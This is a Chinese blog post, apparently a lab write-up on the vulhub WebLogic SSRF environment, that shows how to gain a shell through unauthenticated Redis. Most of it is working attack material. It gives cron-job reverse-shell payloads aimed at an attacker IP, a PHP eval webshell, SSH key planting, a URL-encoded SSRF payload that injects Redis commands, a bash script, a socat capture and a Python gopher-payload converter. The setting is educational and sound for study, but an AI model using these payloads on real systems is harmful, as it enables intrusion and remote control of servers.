Weblogic ssrf+Redis Getshell学习

redis能够写文件,因此可以做到写ssh的秘钥,写webshell,写计划任务等操作

而ssrf可以访问内网的redis,那么就可以控制内网的redis进行上面的操作了

镜像来源vulhub:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

redis写shell

在默认情况下redis是没有密码的,也就是所谓的未授权访问

首先要了解下需要使用到的redis的基本命令

config set dir '/xxx/xx'			//指定数据库文件的目录
config set dbfilename 'xxx'			//指定数据库文件的名字
set x 'xxxxx'						//操作会记录到数据库中
save								//保存配置

因为目录和数据名可以随便起,所以起名为xxx.php也合法的,再加上操作中可写一句话的内容,因此可以做到写webshell的作用,因为目录也是随意的因此写计划任务到计划任务文件也是getshell的一种思路,最后写ssh的秘钥可以让ssh连接不用通过密码就能连接的手段

环境配置

这是redis的docker镜像的ip

这是我ubuntu宿主机的ip

计划任务getshell

计划任务的文件有2个/etc/crontab/var/spool/cron/root

第一个是所用用户的计划任务都可以写在这,第二个是root用户的计划任务会写在这,如果其他用户比如apache则是/var/spool/cron/apache

计划任务的格式如下

*/1 * * * * root bash -i >& /dev/tcp/ip/port 0>&1

这样没1分钟就会反弹一次shell

set 1 "\n\n*\\1 * * * * root bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n"
config set dir /etc/
config set dbfilename crontab
save

开始测试向/etc/crontab中写计划任务,成功写入了(前一行是我之前写的 少转义了个\,导致 *1之间缺个\,但好像没有影响orz我忘了计划任务具体的了)

接下来ubuntu监听2333端口,获得shell

接下来同理向/var/spool/cron/root中写入计划任务

set 1 "\n\n*\\1 * * * * bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

成功写入,这里注意计划任务中少了 root 这个用户,和/etc/crontab 的payload稍微有点区别

弹到shell,如果计划任务多加了用户 root的话,会接到信息,但是会报错退出

直接写webshell

至于写webshell,因为我redis镜像没有web服务,所以这里就直接给出要执行的命令,其实也和上面差不多

set 1 "<?php eval($_POST[1]); ?>"
config set dir /var/www/html/
config set dbfilename shell.php
save

写ssh

这里我模拟个场景

宿主机存在redis,存在ssh,最后用ssh连本机的root

首先生成秘钥和公钥

ssh-keygen -t rsa
//它会提示输入密钥和公钥的名字,我这里叫./id_rsa
//然后会设置密码,我这里设置的123456

然后把公钥写入一个txt文件中

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > hack.txt

最后就是将内容通过redis保存到服务器了

cat hack.txt | redis-cli -h 172.18.0.2 -x set xxx
//之后进入数据库即可
redis-cli
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

我这里因为环境的问题没有成功,留个坑之后补一下(不知道为啥ubuntu官方的docker镜像启动不起来)

连接ssh,使用秘钥即可

ssh -i id_rsa root@127.0.0.1

weblogic ssrf配合redis,getshell漏洞

拿的shell是redis的shell,因为内网是没法直接访问的,但是内网可以访问到攻击机的情况就可以使用反向代理的方式拿到shell,也就是从redis服务器向攻击机发送连接请求

验证ssrf,访问内网的redis

weblogic的漏洞页面如下

触发ssrf的参数

之后修改成其他端口试试,返回不一样

因为是专门的docker镜像就只有个7001开着的

然后咱已知道内网那台redis的ip了(在实际中可以写个python脚本扫描下内网的机子)

比如内网不存在某个ip的电脑存活时会返回

有存活的时候会返回

端口存在的的时候返回又是不同的

进行反弹shell的命令发送

mi0


set 1 "\n\n\n\n*\\1 * * * * root bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save


mi0

上下这个字符任意即可,因为这个weblogic的ssrf它存在能用%0a,%0d换行,所以上面脚本进行url编码后得到以下内容

mi0%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%5C%5C1%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Ami0

成功的写入,这里稍微注意下,url编码如果全编码反而写入不了

成功拿到redis的shell

利用gopher协议

首先把命令执行代码写成bash.sh脚本

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

然后进行监听socat,获得发送的数据

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

输入后就开始监听,再起个shell运行刚刚的脚本

bash shell.sh 127.0.0.1 4444

会捕获到信息,但是我是ubuntu18.04,环境可能不同(ubuntu没法用redis写计划任务)

这里就贴别人抓到的信息

> 2017/10/11 01:24:52.432446  length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1



\r
< 2017/10/11 01:24:52.432685  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148  length=5 from=0 to=4
+OK\r

如果要改的话要修改这2个地方

之后使用脚本将其转换为gopher协议的格式

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

之后利用即可

gopher://ip:6379/_payload

参考链接

https://joychou.org/web/phpssrf.html

https://blog.csdn.net/bwlab/article/details/54138223

http://www.lichengxiao.cn/17.html

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

posted @ 2020-06-13 17:55  sijidou  阅读(1436)  评论(0编辑  收藏  举报